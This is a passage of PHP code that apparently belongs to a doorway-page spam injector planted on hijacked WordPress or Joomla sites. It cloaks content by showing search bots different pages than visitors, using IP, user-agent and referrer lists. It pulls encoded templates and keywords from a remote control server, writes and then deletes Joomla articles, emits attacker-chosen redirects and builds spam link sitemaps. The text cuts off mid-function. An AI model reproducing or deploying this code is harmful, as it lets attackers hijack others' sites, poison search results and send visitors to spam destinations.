						$idtemp = postItem(trim($page[0]) , trim($page[1]) , trim($page[2]));
						$idtemp = explode(":", $idtemp);
						if (is_array($idtemp)) {
							$alias = trim($idtemp[1]);
							$id = trim($idtemp[0]);
							$page = $new_request->request("http://" . trim(implode("/", $joomlaurl) , "/") . "/index.php/" . $id . "-" . $alias . "?ineedthispage=yes");
							$page = str_ireplace("&ineedthispage=yes", "", $page);
							$page = str_ireplace("&amp;ineedthispage=yes", "", $page);
							$page = str_ireplace("?ineedthispage=yes", "", $page);
							$page = preg_replace("/<div style=\"display:none;\">(.*?)<\/div>/is"," ",$page);
							$db = JFactory::getDbo();
							$query = $db->getQuery(true);
							$query->delete($db->quoteName('#__content'))->where(array(
								$db->quoteName('id') . '=' . $id
							));
							$db->setQuery($query);
							$result = $db->query();
							echo $redirect . "" . $page;
							die();
							}
						}
					}
				}else{
					$page = str_ireplace("[REDIRECT]", $redirect, $page);
					$page = str_ireplace("[DEFISKEY]", str_ireplace(" ", "-", $q) , $page);
					echo $page;
					die();
				}
			}
			if ($clienttype == "pdftype" ) {
				if (!empty($redirect) && strpos($q,"sitemap") === FALSE) {
					$redirect = str_ireplace("[DEFISKEY]", str_ireplace(" ", "-", $q) , $redirect);
					echo $redirect;
					die();
				}
				else {
					$page = str_ireplace("[REDIRECT]", "", $page);
					$page = explode("====================", $page);
					$pdf = new PDF_HTML();
					$pdf->AddFont('arial','','119379869a251bdd6a14438b3c5514f2_arial.php');
					$pdf->AddPage();
					$pdf->SetFont('arial','',14);
					$pdf->Cell(210,4,$page[0],0,0);
					$pdf->Ln();
					$pdf->SetFont('arial','',12);
					$pdf->WriteHTML($page[2]);
					$pdf->Output();
					die();
				}
			}
		}

	if (!empty($errorsforlocal) && is_dir($cachedirname)) {
		$errorsforlocal = date("d F Y H:i:s") . "\t" . $q . "\t" . trim($errorsforlocal);
		if (file_exists($errorsfilename) && count(file($errorsfilename)) > 500) {
			$fod = fopen($errorsfilename, "w+");
		}
		else {
			$fod = fopen($errorsfilename, "a+");
		}

		flock($fod, LOCK_EX);
		fwrite($fod, $errorsforlocal . "\n");
		fclose($fod);
	}

	if (!empty($_GET['ineederrors']) && $_GET['ineederrors'] == "yes") {
		if (!empty($errorsforlocal)) {
			echo "<b>Current errors</b>: " . $errorsforlocal . "<br /><br />";
			if (file_exists($errorsfilename)) {
				$errorsfilename = file($errorsfilename);
				$errorsfilename = implode('\n',$errorsfilename);
				echo "<b>Errors history:</b> " . $errorsfilename;
			}

			die();
		}
		else {
			echo "No errors";
		}
	}
}

function include_cms(){
	return false;
	if(file_exists($_SERVER['DOCUMENT_ROOT'].'/wp-blog-header.php')){
		define('WP_USE_THEMES', false);
		require($_SERVER['DOCUMENT_ROOT'].'/wp-blog-header.php');
		return "wp";
	}elseif(file_exists($_SERVER['DOCUMENT_ROOT'].'/includes/framework.php')){
		define( '_JEXEC', 1 );
		define( 'DS', DIRECTORY_SEPARATOR );
		define( 'JPATH_BASE', $_SERVER[ 'DOCUMENT_ROOT' ] );
		require_once( JPATH_BASE . DS . 'includes' . DS . 'defines.php' );
		require_once( JPATH_BASE . DS . 'includes' . DS . 'framework.php' );
		require_once( JPATH_BASE . DS . 'libraries' . DS . 'joomla' . DS . 'factory.php' );
		$mainframe =& JFactory::getApplication('site');
		return "joomla";
	}
}
function getbody($body)
{
	global $body;
	return $body;
}

function gettitle($title)
{
	global $title;
	return $title;
}

function getdesc($desc)
{
	global $desc;
	echo "<meta type=\"description\" content=\"" . $desc . "\">";
}

function randString($length)
{
	$str = "";
	$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
	$size = strlen($chars);
	for ($i = 0; $i < $length; $i++) {
		$str.= $chars[rand(0, $size - 1) ];
	}

	return $str;
}

function getsettings($settfile, $needsetting, $fileorcontent)
{
	if (empty($fileorcontent)) {
		if (file_exists($settfile)) {
			$settings = implode("\n",file($settfile));
		}
		else {
			return "";
		}
	}
	else {
		$settings = $settfile;
	}

	$settings = urlencode($settings);
	$settings = trim($settings, "%0A");
	$settings.= "%0A";
	if ($needsetting == "clienturl") {
		preg_match("/clienturl%3D(.*)%0A/miU", $settings, $matches);
		if (!empty($matches[1])) {
			$clienturl = $matches[1];
			$clienturl = trim($clienturl);
			return $clienturl;
		}
		else {
			return "";
		}
	}

	if ($needsetting == "clearcache") {
		preg_match("/clearcache%3D(.*)%0A/miU", $settings, $matches);
		if (!empty($matches[1])) {
			$clearcache = $matches[1];
			$clearcache = trim($clearcache);
			return $clearcache;
		}
		else {
			return "";
		}
	}

	if ($needsetting == "newkeys") {
		preg_match("/newkeys%3D(.*)%0A/miU", $settings, $matches);
		if (!empty($matches[1])) {
			$newkeys = $matches[1];
			$newkeys = trim($newkeys);
			return $newkeys;
		}
		else {
			return "";
		}
	}

	if ($needsetting == "cleanrescode") {
		preg_match("/cleanrescode%3D(.*)%0A/miU", $settings, $matches);
		if (!empty($matches[1])) {
			$cleanrescode = $matches[1];
			$cleanrescode = trim($cleanrescode);
			return $cleanrescode;
		}
		else {
			return "";
		}
	}

	if ($needsetting == "dotemplate") {
		preg_match("/dotemplate%3D(.*)%0A/miU", $settings, $matches);
		if (!empty($matches[1])) {
			$dotemplate = $matches[1];
			$dotemplate = trim($dotemplate);
			return $dotemplate;
		}
		else {
			return "";
		}
	}

	if ($needsetting == "newuseragents") {
		preg_match("/newuseragents%3D(.*)%0A/miU", $settings, $matches);
		if (!empty($matches[1])) {
			$newuseragents = $matches[1];
			$newuseragents = trim($newuseragents);
			return $newuseragents;
		}
		else {
			return "";
		}
	}

	if ($needsetting == "newbotips") {
		preg_match("/newbotips%3D(.*)%0A/miU", $settings, $matches);
		if (!empty($matches[1])) {
			$newbotips = $matches[1];
			$newbotips = trim($newbotips);
			return $newbotips;
		}
		else {
			return "";
		}
	}

	if ($needsetting == "newreffs") {
		preg_match("/newreffs%3D(.*)%0A/miU", $settings, $matches);
		if (!empty($matches[1])) {
			$newreffs = $matches[1];
			$newreffs = trim($newreffs);
			return $newreffs;
		}
		else {
			return "";
		}
	}

	if ($needsetting == "usecloack") {
		preg_match("/usecloack%3D(.*)%0A/miU", $settings, $matches);
		if (!empty($matches[1])) {
			$usecloack = $matches[1];
			$usecloack = trim($usecloack);
			return $usecloack;
		}
		else {
			return "";
		}
	}

	if ($needsetting == "itsinclude") {
		preg_match("/itsinclude%3D(.*)%0A/miU", $settings, $matches);
		if (!empty($matches[1])) {
			$itsinclude = $matches[1];
			$itsinclude = trim($itsinclude);
			return $itsinclude;
		}
		else {
			return "";
		}
	}

	if ($needsetting == "clienttype") {
		preg_match("/clienttype%3D(.*)%0A/miU", $settings, $matches);
		if (!empty($matches[1])) {
			$clienttype = $matches[1];
			$clienttype = trim($clienttype);
			return $clienttype;
		}
		else {
			return "";
		}
	}

	if ($needsetting == "lang") {
		preg_match("/lang%3D(.*)%0A/miU", $settings, $matches);
		if (!empty($matches[1])) {
			$lang = $matches[1];
			$lang = trim($lang);
			return $lang;
		}
		else {
			return "";
		}
	}

	if ($needsetting == "wherecontent") {
		preg_match("/wherecontent%3D(.*)%0A/miU", $settings, $matches);
		if (!empty($matches[1])) {
			$wherecontent = $matches[1];
			$wherecontent = trim($wherecontent);
			return $wherecontent;
		}
		else {
			return "";
		}
	}

	if ($needsetting == "textfilename") {
		preg_match("/textfilename%3D(.*)%0A/miU", $settings, $matches);
		if (!empty($matches[1])) {
			$textfilename = $matches[1];
			$textfilename = trim($textfilename);
			return $textfilename;
		}
		else {
			return "";
		}
	}

	if ($needsetting == "keyfilename") {
		preg_match("/keyfilename%3D(.*)%0A/miU", $settings, $matches);
		if (!empty($matches[1])) {
			$keyfilename = $matches[1];
			$keyfilename = trim($keyfilename);
			return $keyfilename;
		}
		else {
			return "";
		}
	}

	if ($needsetting == "themesfilename") {
		preg_match("/themesfilename%3D(.*)%0A/miU", $settings, $matches);
		if (!empty($matches[1])) {
			$themesfilename = $matches[1];
			$themesfilename = trim($themesfilename);
			return $themesfilename;
		}
		else {
			return "";
		}
	}

	if ($needsetting == "templatename") {
		preg_match("/templatename%3D(.*)%0A/miU", $settings, $matches);
		if (!empty($matches[1])) {
			$templatename = $matches[1];
			$templatename = trim($templatename);
			return $templatename;
		}
		else {
			return "";
		}
	}

	if ($needsetting == "extlinksfilename") {
		preg_match("/extlinksfilename%3D(.*)%0A/miU", $settings, $matches);
		if (!empty($matches[1])) {
			$extlinksfilename = $matches[1];
			$extlinksfilename = trim($extlinksfilename);
			return $extlinksfilename;
		}
		else {
			return "";
		}
	}

	if ($needsetting == "renewclient") {
		preg_match("/renewclient%3D(.*)%0A/miU", $settings, $matches);
		if (!empty($matches[1])) {
			$renewclient = $matches[1];
			$renewclient = trim($renewclient);
			return $renewclient;
		}
		else {
			return "";
		}
	}

	if ($needsetting == "keyperem") {
		preg_match("/keyperem%3D(.*)%0A/miU", $settings, $matches);
		if (!empty($matches[1])) {
			$keyperem = $matches[1];
			$keyperem = trim($keyperem);
			return $keyperem;
		}
		else {
			return "";
		}
	}

	if ($needsetting == "redirect") {
		preg_match("/redirect%3D(.*)ENDOFREDIRECT%0A/miU", $settings, $matches);
		if (!empty($matches[1])) {
			$redirect = $matches[1];
			$redirect = trim($redirect);
			return $redirect;
		}
		else {
			return "";
		}
	}

	return "";
}

function is_function_enabled($func)
{
	$func = strtolower(trim($func));
	if ($func == '') return false;
	$disabled = explode(",", @ini_get("disable_functions"));
	if (empty($disabled)) {
		$disabled = array();
	}
	else {
		$disabled = array_map('trim', array_map('strtolower', $disabled));
	}

	return (function_exists($func) && is_callable($func) && !in_array($func, $disabled));
}

function checktime($timetocurl)
{
	global $cachedirname;
	global $clientid;
	if (is_dir($cachedirname)) {
		if (!file_exists($cachedirname . "/" . substr($clientid, 0, 7))) {
			$fod = fopen($cachedirname . "/" . substr($clientid, 0, 7) , "w+");
			if (!empty($fod)) {
				flock($fod, LOCK_EX);
				fwrite($fod, "");
				fclose($fod);
			}
			else {
				return "errorcreate";
			}
		}

		$cron_time = filemtime($cachedirname . "/" . substr($clientid, 0, 7));
		if (time() - $cron_time >= $timetocurl) {
			@unlink($cachedirname . "/" . substr($clientid, 0, 7));
			$fod = fopen($cachedirname . "/" . substr($clientid, 0, 7) , "w+");
			if (!empty($fod)) {
				flock($fod, LOCK_EX);
				fwrite($fod, "");
				fclose($fod);
				return "goodtime";
			}
			else {
				return "errorcreate";
			}
		}

		return false;
	}
	else {
		return false;
	}
}


function cloack($ip)
{
	global $referer;
	global $useragent;
	global $useragentsfilename;
	global $botipsfilename;
	global $referersfilename;
	global $new_request;
	global $useragentsfilename_url;
	global $referersfilename_url;
	$angrybot = "";
	if (file_exists($useragentsfilename)) {
		$useragents = decodedata(implode("\n",file($useragentsfilename)));
		$useragents = trim($useragents);
		$useragents = explode("\n", $useragents);
	}

	if (file_exists($referersfilename)) {
		$goodrefs = decodedata(implode("\n",file($referersfilename)));
		$goodrefs = trim($goodrefs);
		$goodrefs = explode("\n", $goodrefs);
	}

	$nowref = strtolower($referer);
	$nowref = trim($nowref);
	$nowua = strtolower($useragent);
	$nowua = trim($nowua);
	$ip = trim($ip);
	if (file_exists($botipsfilename) && !empty($ip)) {
		$ipforcloack = explode(".", $ip);
		$handle = fopen($botipsfilename, "r");
		$i = 1;
		while (!feof($handle)) {
			$cloackip = trim(fgets($handle));
			if (!empty($cloackip)) {
				$cloackip = explode(".", $cloackip);
				$needcloackip = explode("/", $cloackip[3]);
				if (!empty($needcloackip[1])) {
					if ($ipforcloack[0] == $cloackip[0] && $ipforcloack[1] == $cloackip[1] && $ipforcloack[2] == $cloackip[2] && $ipforcloack[3] >= $needcloackip[0] && $ipforcloack[3] <= $needcloackip[1]) {
						$angrybot = "1";
						break;
					}
				}
				else {
					if ($ip == implode(".", $cloackip)) {
						$angrybot = "1";
						break;
					}
				}

				$i++;
			}
		}

		fclose($handle);
	}

	if (empty($angrybot)) {
		if (!empty($useragents[0])) {
			foreach($useragents as $cloackuseragent) {
				$cloackuseragent = strtolower($cloackuseragent);
				$cloackuseragent = trim($cloackuseragent);
				if (strpos("qqqq " . $nowua, $cloackuseragent) && !empty($cloackuseragent)) {
					$angrybot = "1";
					break;
				}
			}
		}

		if (empty($angrybot)) {
			if (!empty($goodrefs)) {
				foreach($goodrefs as $goodref) {
					if (!empty($goodref)) {
						$goodref = strtolower($goodref);
						$goodref = trim($goodref);
						if (strpos("qqqq " . $nowref, $goodref)) {
							$angrybot = "";
							break;
						}
						else {
							$angrybot = "1";
						}
					}
					else {
						break;
					}
				}
			}
		}
	}

	return $angrybot;
}

function codedata($data)
{
	$data = gzcompress(base64_encode(urlencode($data)) , 4);
	return urlencode($data);
}

function codeservurl($servurl)
{
	if (mb_detect_encoding($servurl) == "UTF-8") {
		$servurl = trim($servurl);
	}
	else {
		$servurl = iconv(mb_detect_encoding($servurl) , "UTF-8", $servurl);
		$servurl = trim($servurl);
	}

	$goodservurl = array();
	foreach(str_split(base64_encode(urlencode($servurl))) as $onechar) {
		if (is_numeric($onechar)) {
			$onechar = $onechar + 7;
			if ($onechar > 9) {
				$onechar = $onechar - 10;
			}
		}

		$goodservurl[] = $onechar;
	}

	return implode($goodservurl);
}

function decodedata($data)
{
	return urldecode(base64_decode(gzuncompress(urldecode($data))));
}

function keyindoorway($currentkey, $keyfilename)
{
	$foundkey = "";
	$currentkey = trim(urldecode($currentkey));
	$currentkey = str_ireplace("-", " ", $currentkey);
	$currentkey = strtolower($currentkey);
	$allkeys = decodedata($new_request->request($keyfilename));
	$allkeys = explode("\n", $allkeys);
	foreach($allkeys as $keyfrcheck) {
		$keyfrcheck = trim($keyfrcheck);
		$keyfrcheck = strtolower($keyfrcheck);
		if (stripos("qqqq" . $currentkey, "qqq" . $keyfrcheck)) {
			$foundkey = "yes";
			break;
		}
	}

	return $foundkey;
}

function postItem($title, $desc, $text)
{
	$database = JFactory::getDBO();
	$item = new stdClass;
	$item->id = null;
	$item->title = $title;
	$item->introtext = $desc;
	$item->fulltext = $text;
	$item->state = 1;
	$item->access = 1;
	$item->created_by = 62;
	$item->created = date('Y-m-d H:i:s');
	$item->alias = JFilterOutput::stringURLSafe($item->title);
	if (!$database->insertObject('#__content', $item, 'id')) {
		echo $database->stderr();
		return false;
	}

	return $item->id . ":" . $item->alias;
}

function full_del_dir($directory)
{
	$dir = opendir($directory);
	while (($file = readdir($dir))) {
		if (is_file($directory . "/" . $file)) {
			unlink($directory . "/" . $file);
		}
		else
		if (is_dir($directory . "/" . $file) && ($file != ".") && ($file != "..")) {
			full_del_dir($directory . "/" . $file);
		}
	}

	closedir($dir);
	rmdir($directory);
};
function paginate($array, $pageSize, $page = 1){
    $page = $page < 1 ? 1 : $page;
    $start = ($page - 1) * $pageSize;
    return array_slice($array, $start, $pageSize);
}

function getcontent($_workstatus, $_templatename, $_keyfilename, $_wherecontent, $_currkey, $_clienturl, $_clientdomain, $cachedirname, $errorsfilename, $servurl, $lang, $clientid){
	global $useCurl, $requestTimeout,$new_request,$clienttype,$client_url_orig;

	$serverurl = str_ireplace("settings.php", "", $servurl);
	$orig_key = $_currkey;
	$_currkey = str_replace("-", " ", $_currkey);
	$_keyfile_data = implode("\n",file($_keyfilename));

	$_keyfile_data = explode("\n", decodedata($_keyfile_data));
	$count_keys = count($_keyfile_data);
	if ($_workstatus == "work" && !empty($_templatename) && !empty($_keyfilename)) {
		if ($_wherecontent == "bingsnippets") {

			if(strpos($_currkey,"sitemap") !== FALSE)
				$_result = "site map";
			else
				$_result = bingcontent($_currkey, $lang);

			if ($_workstatus == "work" && empty($_templatename)) {
				$_message.= "Template not setted	";
			}

			if ($_workstatus == "work" && !empty($_templatename) && $clienttype != "pdftype"){
				if(include_cms() == "wp" || include_cms() == "joomla"){
					if(strpos($_currkey,"sitemap") !== FALSE)
						$_template_data = $new_request->request("http://" . $serverurl . "workdir/templates/template_wp_map.txt");
					else
						$_template_data = $new_request->request("http://" . $serverurl . "workdir/templates/template_wp.txt");
				}else{
					if(strpos($_currkey,"sitemap") !== FALSE)
						$_template_data = $new_request->request("http://" . $serverurl . "workdir/templates/sitemaphtml_v1.txt");
					else
						$_template_data = $new_request->request("http://" . $serverurl . "workdir/templates/" . $_templatename);
				}
			}elseif($clienttype == "pdftype"){
				if(strpos($_currkey,"sitemap") !== FALSE)
						$_template_data = $new_request->request("http://" . $serverurl . "workdir/templates/template_pdf.txt_map");
					else
						$_template_data = $new_request->request("http://" . $serverurl . "workdir/templates/template_pdf.txt");
			}

			if (stripos("qqqq" . $_template_data, "[SITEMAP]")) {
				$_template_data = str_replace("[TITLESITEMAP]","Sitemap",$_template_data);
				$numpage = max(1, intval(str_ireplace("sitemap ","",$_currkey)));

				$totalPages = ceil( count($_keyfile_data)/ 500 );
				$keys_for_map = paginate($_keyfile_data, 500, $numpage);

				$html_map = '';//<style>p{text-align: center;}ol{text-align: center;}ul{text-align: center;}td{text-align: center;}li{text-align: center;}dl{text-align: center;}dd{text-align: center;}</style>
				$html_tags = array('<div><li>[LINKMAP]</li></div>','<ol>[LINKMAP]</ol>','<div><dd>[LINKMAP]</dd></div>','<ul>[LINKMAP]</ul>','<div><p>[LINKMAP]</p></div>','<dl>[LINKMAP]</dl>');

				foreach($keys_for_map as $v){
					$rand_tag = array_rand($html_tags,1);
					$html_map .= str_replace("[LINKMAP]", '<a href="http://' . str_replace("[KEY]", str_replace(" ", "-", trim($v)) , $_clienturl) . '">' . ucfirst(trim($v)) . "</a>", $html_tags[$rand_tag]);
				}

				$_template_data = str_replace("[SITEMAP]",$html_map,$_template_data);

				$pagination .= '<ul class="pagination" style=" margin-left: 500px;">';
				for($i=1;$i<=$totalPages;$i++) {
					$pagination .= '<li><a href=http://' . str_replace("[KEY]", "sitemap-".$i , $_clienturl) . '>'.$i."</a> </li>";
				}
				$pagination .= '</ul>';

				$_template_data = str_replace("[PAGINATION]",$pagination,$_template_data);
			}

			if (!empty($_template_data) && !empty($_result) && !empty($_currkey) && !empty($_keyfile_data) && !empty($_clienturl)) {
				if (stripos("qqqq" . $_template_data, "[RANDOMLINES")) {
					$_pattern = "#(\[RANDOMLINES:.*\])#iU";
					preg_match_all($_pattern, $_template_data, $_matches);
					if (!empty($_matches[1])) {
						$files = array();
						foreach($_matches[1] as $_value) {
							$_randomline = "";
							$_normal = trim($_value);
							$_normal = str_replace("[", "", $_normal);
							$_normal = str_replace("]", "", $_normal);
							$_normal = explode(":", $_normal);
							if(!$files[trim($_normal[1])]){
								$_randomlines = file("http://" . $serverurl . "workdir/randomlines/" . trim($_normal[1]));
								$files[trim($_normal[1])] = $_randomlines;
							}else
								$_randomlines = $files[trim($_normal[1])];

							shuffle($_randomlines);
							$count_randomlines = count($_randomlines);
							if (trim($_normal[2]) >= $count_randomlines) {
								$_normal[2] = $count_randomlines - 1;
							}
							else {
								$_normal[2]--;
							}

							for ($_i = 0; $_i <= trim($_normal[2]); $_i++) {
								$_randomline.= trim($_randomlines[$_i]) . "" . $_normal[3];
							}

							$_template_data = preg_replace("#(" . trim(str_replace("[", "\[", str_replace("]", "\]", str_replace("^", "\^", $_value)))) . ")#iU", trim($_randomline, $_normal[3]) , $_template_data, 1); /* 	}else{ $_message.= "No file " . trim($_normal[1]) . " for random lines	"; $_template_data = preg_replace("#(" . trim(str_replace("[", "\[", str_replace("]", "\]", str_replace("^", "\^", $_value)))) . ")#iU", "", $_template_data, 1); } */
						}
					}
				}

				if (strpos($_template_data, "[:::") !== FALSE) {
					$_pattern = "/(\[:::.*:::\])/iU";
					preg_match_all($_pattern, $_template_data, $_matches);
					if ($_matches[1]) {
						foreach($_matches[1] as $_value) {
							$_value = trim($_value);
							$_elements = str_replace("[:::", "", $_value);
							$_elements = str_replace(":::]", "", $_elements);
							$_elements = explode("|", $_elements);
							shuffle($_elements);
							if (!empty($_elements[0])):
								$_template_data = preg_replace("|" . preg_quote($_value) . "|iU", trim($_elements[0]) , $_template_data, 1);
							else:
								$_template_data = str_ireplace($_value, "", $_template_data);
							endif;
						}
					}
				}

				$_pattern = "/(\[SENTENCE:.*\])/iU";
				preg_match_all($_pattern, $_template_data, $_matches);
				if (!empty($_matches[1])) {
					foreach($_matches[1] as $_sentence) {
						$_sentence_normal = trim($_sentence);
						$_sentence_normal = str_replace("[", "", $_sentence_normal);
						$_sentence_normal = str_replace("]", "", $_sentence_normal);
						$_sentence_normal = explode(":", $_sentence_normal);
						$_full_str = edittext($_sentence_normal[1], $_sentence_normal[2], $_result, $_sentence_normal[3], $_sentence_normal[4], '' . $_sentence_normal[5], $_currkey, $_keyfile_data, $_themesfile_data, "workdir/extlinks/" . $_extlinksfilename, $_clienturl, '' . $_sentence_normal[6], $_extlinksfile_data, $_sentence_normal[7]);
						$_full_str = str_replace("$", "\$", $_full_str);
						if (!empty($_full_str)):
							$_template_data = preg_replace("/(" . trim(str_replace("[", "\[", str_replace("]", "\]", str_replace("^", "\^", $_sentence)))) . ")/iUm", ucfirst($_full_str) , $_template_data, 1);
						else:
							$_template_data = preg_replace("/(" . trim(str_replace("[", "\[", str_replace("]", "\]", str_replace("^", "\^", $_sentence)))) . ")/iUm", "", $_template_data, 1);
						endif;
					}
				}

				$_template_data = str_replace("[UPKEY]", mb_strtoupper(mb_substr($_currkey, 0, 1, "UTF-8") , "UTF-8") . mb_substr($_currkey, 1, mb_strlen($_currkey) , "UTF-8") , $_template_data);
				$_template_data = str_replace("[RANDTEMATICKEY]", "", $_template_data);
				if (strpos($_template_data, "[RANDKEYWORD") !== FALSE) {
					shuffle($_keyfile_data);
					preg_match_all("/(\[RANDKEYWORD:.*\])/iUm", $_template_data, $_matches);
					foreach($_matches[1] as $_rand_val){
						$_template_data = str_replace($_rand_val,ucfirst(trim($_keyfile_data[rand(1,20)])),$_template_data);
					}
				}
				if (strpos($_template_data, "[RANDKEYWORD]") !== FALSE) {
					shuffle($_keyfile_data);
					$_count_rand = substr_count($_template_data, "[RANDKEYWORD]");
					for ($_i = 0; $_i <= $_count_rand; $_i++) {
						$_template_data = preg_replace("/\[RANDKEYWORD\]/", ucfirst(trim($_keyfile_data[$_i])) , $_template_data, 1);
					}
				}
				if (strpos($_template_data, "[RANDOMLINK]") !== FALSE) {
					shuffle($_keyfile_data);
					$_count_rand = substr_count($_template_data, "[RANDOMLINK]");
					for ($_i = 0; $_i <= $_count_rand; $_i++) {
						$_template_data = preg_replace("/\[RANDOMLINK\]/", '<a href="http://' . str_replace("[KEY]", str_replace(" ", "-", trim($_keyfile_data[$_i])) , $_clienturl) . '">' . ucfirst(trim($_keyfile_data[$_i])) . "</a>", $_template_data, 1);
					}
				}

				if (strpos($_template_data, "[SIMPLERANDOMLINK]") !== FALSE) {
					shuffle($_keyfile_data);
					$_count_rand = substr_count($_template_data, "[SIMPLERANDOMLINK]");
					for ($_i = 0; $_i <= $_count_rand; $_i++):
						$_template_data = preg_replace("/\[SIMPLERANDOMLINK\]/", "http://" . str_replace("[KEY]", str_replace(" ", "-", trim($_keyfile_data[$_i])) , $_clienturl) , $_template_data, 1);
					endfor;
				}

				if (strpos($_template_data, "[RAND:") !== FALSE) {
					$_pattern = "/(\[RAND:[0-9]*:[0-9]*\])/";
					preg_match_all($_pattern, $_template_data, $_matches);
					if (!empty($_matches[1])) {
						foreach($_matches[1] as $_rand_val):
							$_rand_val_group = explode(":", trim(str_replace("[", "", str_replace("]", "", $_rand_val))));
							$_template_data = preg_replace("/" . str_replace("[", "\[", str_replace("]", "\]", $_rand_val)) . "/", rand(trim($_rand_val_group[1]) , trim($_rand_val_group[2])) , $_template_data, 1);
						endforeach;
					}
				}

				$_template_data = str_replace("[EXTRANDLINK]", "", $_template_data);
				$_template_data = str_replace("[DEFISKEY]", ucfirst(str_replace(" ", "-", $_currkey)) , $_template_data);
				$_template_data = str_replace("[THISDOMAIN]", "http://" . $_clientdomain, $_template_data);
				$_template_data = str_replace("[DORURL]", str_replace("[KEY]","" , $_clienturl) , $_template_data);
				if (strpos($_template_data, "[UPKEY:") !== FALSE) {
					$_currkey2 = "";
					preg_match_all("/(\[UPKEY:.*\])/iUm", $_template_data, $_matches);
					if (!empty($_matches[1])) {
						foreach($_matches[1] as $_upkeys):
							$_currkey2 = $_currkey;
							$_upkeys_normal = str_replace("[UPKEY:", "", $_upkeys);
							$_upkeys_normal = str_replace("]", "", $_upkeys_normal);
							$_upkeys_normal = explode(",", $_upkeys_normal);
							foreach($_upkeys_normal as $_normal_key):
								$_currkey2 = str_ireplace($_normal_key, "", $_currkey2);
							endforeach;
							$_currkey2 = str_replace("  ", " ", $_currkey2);
							$_currkey2 = trim($_currkey2);
							$_template_data = str_ireplace($_upkeys, mb_strtoupper(mb_substr($_currkey2, 0, 1, "UTF-8") , "UTF-8") . mb_substr($_currkey2, 1, mb_strlen($_currkey2) , "UTF-8") , $_template_data);
						endforeach;
					}
				}

				if (strpos($_template_data, "[LINK]") !== FALSE) {
					$linkovka = $new_request->request("http://".$servurl."?linkovka=1&clientid=".$clientid);
					$towns = array ( 0 => 'Alabama ',   1 => 'Alaska ',   2 => 'Arizona ',   3 => 'Arkansas ',   4 => 'California ',   5 => 'Colorado ',   6 => 'Connecticut ',   7 => 'Delaware ',   8 => 'Florida ',   9 => 'Georgia ',   10 => 'Hawaii ',   11 => 'Idaho ',   12 => 'Illinois ',   13 => 'Indiana ',   14 => 'Iowa ',   15 => 'Kansas ',   16 => 'Kentucky ',   17 => 'Louisiana ',   18 => 'Maine ',   19 => 'Maryland ',   20 => 'Massachusetts ',   21 => 'Michigan ',   22 => 'Minnesota ',   23 => 'Mississippi ',   24 => 'Missouri ',   25 => 'Montana ',   26 => 'Nebraska ',   27 => 'Nevada ',   28 => 'New Hampshire ',   29 => 'New Jersey ',   30 => 'New Mexico ',   31 => 'New York ',   32 => 'North Carolina ',   33 => 'North Dakota ',   34 => 'Ohio ',   35 => 'Oklahoma ',   36 => 'Oregon ',   37 => 'Pennsylvania ',   38 => 'Rhode Island ',   39 => 'South Carolina ',   40 => 'South Dakota ',   41 => 'Tennessee ',   42 => 'Texas ',   43 => 'Utah ',   44 => 'Vermont ',   45 => 'Virginia ',   46 => 'Washington ',   47 => 'West Virginia ',   48 => 'Wisconsin ',   49 => 'Wyoming ',   50 => 'AL ',   51 => 'AK ',   52 => 'AZ ',   53 => 'AR ',   54 => 'CA ',   55 => 'CO ',   56 => 'CT ',   57 => 'DE ',   58 => 'FL ',   59 => 'GA ',   60 => 'HI ',   61 => 'ID ',   62 => 'IL ',   63 => 'IN ',   64 => 'IA ',   65 => 'KS ',   66 => 'KY ',   67 => 'LA ',   68 => 'ME ',   69 => 'MD ',   70 => 'MA ',   71 => 'MI ',   72 => 'MN ',   73 => 'MS ',   74 => 'MO ',   75 => 'MT ',   76 => 'NE ',   77 => 'NV ',   78 => 'NH ',   79 => 'NJ ',   80 => 'NM ',   81 => 'NY ',   82 => 'NC ',   83 => 'ND ',   84 => 'OH ',   85 => 'OK ',   86 => 'OR ',   87 => 'PA ',   88 => 'RI ',   89 => 'SC ',   90 => 'SD ',   91 => 'TN ',   92 => 'TX ',   93 => 'UT ',   94 => 'VT ',   95 => 'VA ',   96 => 'WA ',   97 => 'WV ',   98 => 'WI ',   99 => 'WY' );
					$linkovka_data = explode('::',$linkovka);

					if($linkovka_data){
						foreach($linkovka_data as $v){
							if($v){
								$k = $_currkey.' in '.$towns[rand(0,99)];
								$link = str_replace('[KEY]', $orig_key, $v);
								$_template_data = preg_replace('/\[LINK\]/', "<a href=\"".$link."\">".$k."</a>", $_template_data, 1);
							}
						}
					}
					$_template_data = str_replace('[LINK]','',$_template_data);
				}

				if (strpos($_template_data, "[AVATAR") !== FALSE) {

					preg_match_all("/(\[AVATAR.*\])/iUm", $_template_data, $_matches);
					if (!empty($_matches[1]) ) {
						foreach($_matches[1] as $_upimgs){
							$_template_data = str_replace($_upimgs,"<img src=\"//".$client_url_orig."?getavatar_user=1\">",$_template_data);
						}
					}

					$_template_data = preg_replace("/(\[AVATAR.*\])/iUm",'',$_template_data);
				}

				if (strpos($_template_data, "[USER") !== FALSE) {

					preg_match_all("/(\[USER.*\])/iUm", $_template_data, $_matches);

					if (!empty($_matches[1]) ) {
						foreach($_matches[1] as $_upimgs){
							$rnd = rand(0,$couser);
							$_template_data = str_replace($_upimgs,getip(),$_template_data);
						}
					}

					$_template_data = preg_replace("/(\[USER.*\])/iUm",'',$_template_data);
				}
				if (strpos($_template_data, "[IMGSRC") !== FALSE) {
					$ch = curl_init();
					curl_setopt($ch, CURLOPT_URL, 'https://www.bing.com/images/search?q='.urlencode($_currkey));
					curl_setopt($ch, CURLOPT_HEADER, false);
					curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
					curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
					curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36');
					curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
					curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
					curl_setopt($ch, CURLOPT_FTP_SSL, CURLFTPSSL_TRY);
					$outch = curl_exec($ch);
					curl_close($ch);
					preg_match_all('!murl&quot;:&quot;(.*?)&quot;,!siu', $outch, $lines2);
					if(!$lines2[1]){
						$ch = curl_init();
						curl_setopt($ch, CURLOPT_URL, 'https://twitter.com/search?q='.urlencode($_currkey).'&src=typd&mode=photos');
						curl_setopt($ch, CURLOPT_HEADER, false);
						curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
						curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
